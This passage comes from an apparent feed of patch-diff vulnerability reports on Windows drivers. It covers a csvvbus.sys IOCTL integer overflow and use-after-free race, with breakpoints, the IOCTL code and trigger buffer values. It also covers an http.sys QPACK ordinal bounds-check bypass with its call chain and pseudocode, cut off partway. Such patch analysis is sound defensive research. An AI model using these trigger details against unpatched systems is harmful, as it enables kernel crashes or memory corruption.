&lt;li&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt; Send an IRP via &lt;code&gt;DeviceIoControl&lt;/code&gt; to the CSV device handle. IOCTL = &lt;code&gt;0x7780064&lt;/code&gt;. Input buffer length &lt;code&gt;&amp;gt;= 0x10&lt;/code&gt;. Byte offset &lt;code&gt;0xC&lt;/code&gt; must be &lt;code&gt;0xF8FFFFFF&lt;/code&gt; (Little Endian &lt;code&gt;0xFFFFFFF8&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; Upon hitting &lt;code&gt;0x1c0009fd0&lt;/code&gt; and stepping over, &lt;code&gt;eax&lt;/code&gt; wraps and the break is not taken. Execution proceeds to &lt;code&gt;WdfMemoryCreate&lt;/code&gt; (&lt;code&gt;0x1c000a048&lt;/code&gt;) with size &lt;code&gt;0xFFFFFFF8&lt;/code&gt;, which fails; &lt;code&gt;js 0x1c000a204&lt;/code&gt; is taken, &lt;code&gt;esi = 0xC000009A&lt;/code&gt;, and the function returns without reaching the copy.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: &lt;code&gt;CsvCamSetSecurityInfoSafe&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ba e1 0x1c00184a4&lt;/code&gt; (the lock-less read of &lt;code&gt;EncryptionManager&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ba e1 0x1c00184b3&lt;/code&gt; (the dereference point).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;0x1c00184a4&lt;/code&gt;: &lt;code&gt;rdx&lt;/code&gt; holds the pointer read from the global &lt;code&gt;EncryptionManager&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1c00184b3&lt;/code&gt;: &lt;code&gt;rdx&lt;/code&gt; is being dereferenced (&lt;code&gt;+0x20&lt;/code&gt;, then &lt;code&gt;+0x18&lt;/code&gt;). Execute &lt;code&gt;!address rdx&lt;/code&gt; or &lt;code&gt;!pool rdx&lt;/code&gt; to check if the pool has been freed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key instructions/offsets:&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1c00184a4&lt;/code&gt;: The unprotected &lt;code&gt;mov rdx, cs:EncryptionManager&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c00184b3&lt;/code&gt;: The &lt;code&gt;mov eax, [rdx+0x20]&lt;/code&gt; instruction that triggers the UAF read.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt; Multi-threaded environment. Thread A enters &lt;code&gt;CsvCamSetSecurityInfoSafe&lt;/code&gt; with a valid &lt;code&gt;&amp;gt;= 0x10&lt;/code&gt; buffer and &lt;code&gt;arg1[2] != 0&lt;/code&gt;. Thread B triggers the exclusive lock cleanup path that frees the pool.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; With Driver Verifier (Special Pool) enabled on &lt;code&gt;csvvbus.sys&lt;/code&gt;, if &lt;code&gt;EncryptionManager&lt;/code&gt; is freed between the read at &lt;code&gt;0x1c00184a4&lt;/code&gt; and the dereference at &lt;code&gt;0x1c00184b3&lt;/code&gt;, that dereference of the freed allocation triggers a &lt;code&gt;0xC4&lt;/code&gt; (DRIVER_VERIFIER_DETECTED_VIOLATION) or &lt;code&gt;0x50&lt;/code&gt; (PAGE_FAULT_IN_NONPAGED_AREA) BugCheck, confirming the Use-After-Free.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security Relevant&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CsvCamSetSecurityInfoSafe&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9202, High): TOCTOU race condition - unpatched reads/derefs &lt;code&gt;EncryptionManager&lt;/code&gt; with no &lt;code&gt;ERESOURCE&lt;/code&gt; held (&lt;code&gt;0x1C00184A4&lt;/code&gt;); patched wraps the read in &lt;code&gt;ExAcquireResourceSharedLite&lt;/code&gt; (&lt;code&gt;0x1C0017349&lt;/code&gt;). The &lt;code&gt;if (!r15)&lt;/code&gt; Global-Seq branch also gains a lock in the patched build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VxVolumerSetStorageProp&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9173, Low): CWE-190 integer overflow in the IOCTL property-parsing bounds check (&lt;code&gt;add eax, 8&lt;/code&gt; at &lt;code&gt;0x1C0009FD4&lt;/code&gt;); patched with an overflow guard at &lt;code&gt;0x1C000A02B&lt;/code&gt;. In this path the overflow-triggering size also forces a failing allocation, so it is a bounds-check bypass / hardening fix rather than a reachable pool overflow.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Behavioral / Minor Changes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VxVolumeEvtIoDeviceControl&lt;/code&gt;&lt;/strong&gt; (Sim: 0.8521): Dispatch/switch tree reordered and WPP trace GUIDs updated. The handler functions (VxVolumerActivateNetworkPath, VxVolumerEnableCache, VxVolumerDisableCache, VxVolumerPurgeCache, VxVolumerCacheConfig) are NOT removed - each still has a function header in both binaries, so any apparent case removal is a reordering/relocation. No direct security impact.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;RtlUnicodeStringPrintf&lt;/code&gt;&lt;/strong&gt; (Sim: 0.6089): Inlined the RTL string validation logic rather than calling it externally. Functionally equivalent.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Cosmetic / Optimization (Collapsed)&lt;/h3&gt;
&lt;p&gt;The following functions exhibited only minor register allocation shifts, variable renaming, or hardcoded memory address relocations due to build environment differences. These do not present security surfaces:
*   &lt;code&gt;VxVolumeSetTargetPath&lt;/code&gt; (Sim: 0.9425)
*   &lt;code&gt;AddChildPdoCallback&lt;/code&gt; (Sim: 0.9749)
*   &lt;code&gt;RtlStringLengthWorkerW&lt;/code&gt; (Sim: 0.9890)&lt;/p&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There were no unmatched functions added or removed in this diff (&lt;code&gt;unmatched_unpatched: 0&lt;/code&gt;, &lt;code&gt;unmatched_patched: 0&lt;/code&gt;). All mitigations were applied inline to existing functions.&lt;/p&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; &lt;strong&gt;High&lt;/strong&gt;. The assembly clearly identifies the lack of overflow arithmetic (&lt;code&gt;add eax, 0x8&lt;/code&gt; bypassing bounds) and the missing &lt;code&gt;ExAcquireResourceSharedLite&lt;/code&gt; call prior to global pointer dereferencing. The vulnerability classes are standard and well-understood.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions/Caveats:&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;The IOCTL codes (e.g., &lt;code&gt;0x7780064&lt;/code&gt;) and exact memory addresses are derived from the provided diff context. Base addresses will shift depending on the loaded module base (&lt;code&gt;csvvbus.sys&lt;/code&gt;), so relative offsets (e.g., &lt;code&gt;+0x23c&lt;/code&gt;) should be used in debuggers rather than absolute addresses.&lt;/li&gt;
&lt;li&gt;Exploiting these vulnerabilities requires a system to be configured as a Cluster Shared Volume (CSV) node, or at least having the &lt;code&gt;csvvbus.sys&lt;/code&gt; driver loaded and exposed to non-administrative or malicious local users.&lt;/li&gt;
&lt;li&gt;The exact path to trigger the &lt;code&gt;EncryptionManager&lt;/code&gt; free (Thread B) in Finding 2 was inferred from standard driver teardown/replacement patterns; an analyst will need to trace cross-references to the &lt;code&gt;SigningLock&lt;/code&gt; global to identify the exact exclusive-lock IOCTL trigger required for reliable PoC execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>http.sys — Out-of-bounds access via missing QPACK ordinal validation (CWE-787, CWE-125) in QkIsOrdinalUseable fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/http_947d4fda-http-report-20260625-235743.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/http_947d4fda-http-report-20260625-235743.html</id><summary type="html">&lt;p&gt;KB5074109&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unpatched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overall similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;98.95%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Matched functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3 911&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Changed functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;31&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identical functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3 880&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (either direction)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes two Known Issue Rollback (KIR) feature flags, &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; and &lt;code&gt;UxKirSeEndConnectionStats&lt;/code&gt;, and hardcodes one code path in each affected function. The security-relevant change is in the QPACK dynamic-table ordinal validator &lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; (&lt;code&gt;0x14013CA40&lt;/code&gt;): &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; selected between an older validation routine that omits a bounds check on the non-arg2 lookup path and a corrected routine that always applies it. The patched binary makes the corrected routine unconditional. Removal of &lt;code&gt;UxKirSeEndConnectionStats&lt;/code&gt; is dead-code cleanup: it dropped redundant, flag-gated re-zeroing of fields that are already cleared by the allocation-time &lt;code&gt;memset&lt;/code&gt; in both builds.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — QPACK Dynamic Table Ordinal Validation Bypass (HIGH)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Out-of-bounds access — CWE-787 (OOB write) / CWE-125 (OOB read)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; (&lt;code&gt;0x14013ca40&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;HTTP/3 (QUIC) request with QPACK-encoded headers&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; In the unpatched binary, &lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; begins by testing the global flag &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt;. When this flag is &lt;code&gt;0&lt;/code&gt;, execution falls into the older validation logic; when non-zero it tail-calls &lt;code&gt;QkIsOrdinalUseableNew&lt;/code&gt; (&lt;code&gt;0x14013CAD0&lt;/code&gt;). The older logic merges the arg2 and non-arg2 lookup handling into one block: after an initial reject filter, it returns &lt;strong&gt;1 (usable)&lt;/strong&gt; whenever the dynamic table is &lt;strong&gt;not full&lt;/strong&gt; (&lt;code&gt;insert_count&lt;/code&gt; at &lt;code&gt;+0x2038&lt;/code&gt; &lt;code&gt;&amp;lt;&lt;/code&gt; &lt;code&gt;max_entries&lt;/code&gt; at &lt;code&gt;+0x2030&lt;/code&gt;) &lt;strong&gt;or&lt;/strong&gt; a cached "result" entry (pointer at &lt;code&gt;+0x2020&lt;/code&gt;) has a non-zero field at &lt;code&gt;result+0x18&lt;/code&gt;, and only otherwise compares the attacker-influenced ordinal (&lt;code&gt;arg3&lt;/code&gt; / &lt;code&gt;r8&lt;/code&gt;) against a bound (&lt;code&gt;+0x2010&lt;/code&gt; for the arg2 branch, &lt;code&gt;+0x2018&lt;/code&gt; for the non-arg2 branch). For the &lt;strong&gt;non-arg2 path&lt;/strong&gt; (&lt;code&gt;arg2 == 0&lt;/code&gt;) this means an ordinal greater than the valid bound &lt;code&gt;+0x2018&lt;/code&gt; is accepted as usable as long as the table still has free capacity or the result marker is set — the mandatory &lt;code&gt;arg3 ≤ *(arg1 + 0x2018)&lt;/code&gt; comparison is skipped.&lt;/p&gt;
&lt;p&gt;The corrected logic (&lt;code&gt;QkIsOrdinalUseableNew&lt;/code&gt;, made unconditional in the patched build) splits on &lt;code&gt;arg2&lt;/code&gt; first. For the non-arg2 case it &lt;strong&gt;always&lt;/strong&gt; evaluates &lt;code&gt;arg3 ≤ *(arg1 + 0x2018)&lt;/code&gt; (after a &lt;code&gt;+0x48&lt;/code&gt; / &lt;code&gt;+0x2008&lt;/code&gt; pre-filter) and never returns usable without that comparison. The "not-full → usable" and "result-marker → usable" shortcuts remain only on the arg2 path. The arg2 path bound check (&lt;code&gt;arg3 ≤ *(arg1 + 0x2010)&lt;/code&gt;) is identical in both routines; the fix is confined to the non-arg2 path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (attacker-reachable path):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attacker opens an HTTP/3 connection over QUIC to a server backed by &lt;code&gt;http.sys&lt;/code&gt; (Windows HTTP Server API).&lt;/li&gt;
&lt;li&gt;The QUIC stack delivers QPACK-encoded request headers to &lt;code&gt;http.sys&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;During QPACK header encoding/decoding, &lt;code&gt;QkEncodePairControl&lt;/code&gt; (&lt;code&gt;0x14013b020&lt;/code&gt;) or &lt;code&gt;QkEncodePairData&lt;/code&gt; (&lt;code&gt;0x14013b260&lt;/code&gt;) is invoked.&lt;/li&gt;
&lt;li&gt;These functions call &lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; to validate each dynamic-table ordinal referenced in the header block.&lt;/li&gt;
&lt;li&gt;The flawed validation permits an out-of-bounds ordinal to pass.&lt;/li&gt;
&lt;li&gt;The ordinal is subsequently used as an array index into the QPACK dynamic table in &lt;code&gt;QkSearchTableByNameValue&lt;/code&gt; / &lt;code&gt;QkUpdateLargestReference&lt;/code&gt;, producing the OOB access.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2 — &lt;code&gt;sub_1400D2029&lt;/code&gt; (No Security-Relevant Change)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Informational&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_1400D2029&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Address &lt;code&gt;0x1400D2029&lt;/code&gt; is an instruction offset inside &lt;code&gt;UlCaptureWideString&lt;/code&gt; (&lt;code&gt;0x1400D1F58&lt;/code&gt;–&lt;code&gt;0x1400D20D4&lt;/code&gt;), not a distinct function. The captured-string capture logic there is behaviorally identical between the two builds: it allocates with &lt;code&gt;ExAllocatePool3&lt;/code&gt;, probes and copies on success, and sets an error code on allocation failure, with the buffer handed to the caller via the output pointer on success. No pool free is added or removed and no leak is introduced or fixed. The only differences at this location are an updated WPP trace GUID and register/stack codegen. See Finding 3.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 3 — &lt;code&gt;UlCaptureWideString&lt;/code&gt; (No Security-Relevant Change)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Informational&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UlCaptureWideString&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The two builds of &lt;code&gt;UlCaptureWideString&lt;/code&gt; are functionally equivalent. Both zero the two output parameters, and when the length is non-zero, both allocate via &lt;code&gt;ExAllocatePool3(66, len, ...)&lt;/code&gt;, then &lt;code&gt;UlProbeWideString&lt;/code&gt; / &lt;code&gt;memmove&lt;/code&gt; / store-to-output on success, or set status &lt;code&gt;0xC0000096&lt;/code&gt; on allocation failure. There is no deferred-free variable, no &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;, and no cleanup-on-exit path in either build. The differences are a WPP trace GUID update and codegen (the constant &lt;code&gt;1&lt;/code&gt; passed to &lt;code&gt;ExAllocatePool3&lt;/code&gt; is materialized through a stack slot in the patched build). This function makes no security-relevant change.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 4 — &lt;code&gt;UxpTpAllocateTransmitPacket&lt;/code&gt; (No Security-Relevant Change)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Informational&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UxpTpAllocateTransmitPacket&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Both builds clear the whole transmit packet with &lt;code&gt;memset(pkt, 0, 0x150)&lt;/code&gt; immediately after allocation, which already zeroes the fields at &lt;code&gt;+0x120&lt;/code&gt;, &lt;code&gt;+0x130&lt;/code&gt;, and &lt;code&gt;+0x140&lt;/code&gt;. The unpatched build additionally re-zeroes those three fields inside an &lt;code&gt;if (UxKirSeEndConnectionStats != 0)&lt;/code&gt; block; the patched build drops that flag test and re-zeroes them unconditionally. Because the earlier &lt;code&gt;memset&lt;/code&gt; covers the same offsets in both builds, the fields are zero on every path regardless of the flag — the removed block was redundant, and no uninitialized memory is exposed. The refcount debug check reads &lt;code&gt;if (UxDebugCheckRefcount != 0 &amp;amp;&amp;amp; v &amp;lt;= -1) UlBugCheckEx(...)&lt;/code&gt; in &lt;strong&gt;both&lt;/strong&gt; builds; its logical operator is unchanged.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 5 — &lt;code&gt;UlHttpAttachConnection&lt;/code&gt; (No Security-Relevant Change)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Informational&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UlHttpAttachConnection&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The connection object is cleared with &lt;code&gt;memset(conn, 0, 0x4A0)&lt;/code&gt; right after allocation in both builds, which zeroes the fields at &lt;code&gt;+0x100&lt;/code&gt;, &lt;code&gt;+0x110&lt;/code&gt;, &lt;code&gt;+0x120&lt;/code&gt;, and &lt;code&gt;+0x130&lt;/code&gt;. The unpatched build re-zeroes those fields inside an &lt;code&gt;if (UxKirSeEndConnectionStats != 0)&lt;/code&gt; block; the patched build removes the flag test and zeroes them inline unconditionally. Since the &lt;code&gt;memset&lt;/code&gt; already covers those offsets in both builds, the fields are initialized on every path and no uninitialized data reaches &lt;code&gt;UlpEventRequestConnectionStats&lt;/code&gt; or ETW. This is a dead-code cleanup, not a memory-initialization fix.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; — the primary vulnerability&lt;/h3&gt;
&lt;p&gt;Offsets: &lt;code&gt;+0x1FE8&lt;/code&gt;/&lt;code&gt;+0x1FEC&lt;/code&gt; = state counters, &lt;code&gt;+0x48&lt;/code&gt;/&lt;code&gt;+0x2008&lt;/code&gt; = pre-filter limits, &lt;code&gt;+0x2010&lt;/code&gt; = arg2 bound, &lt;code&gt;+0x2018&lt;/code&gt; = non-arg2 bound, &lt;code&gt;+0x2020&lt;/code&gt; = cached result pointer, &lt;code&gt;+0x2030&lt;/code&gt; = max_entries, &lt;code&gt;+0x2038&lt;/code&gt; = insert_count.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// OLD routine, selected when UxKirHttpBugFix25Q2 == 0&lt;/span&gt;
&lt;span class="c1"&gt;// (this is the body of QkIsOrdinalUseable at 0x14013CA40)&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;QkIsOrdinalUseable_OLD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;QpackCtx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isArg2Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Reject filter: only these two cases return FALSE outright.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;f_1FE8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;f_1FEC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x62&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;isArg2Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x62&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;f_48&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;f_2008&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Shared table path for BOTH arg2 and non-arg2:&lt;/span&gt;
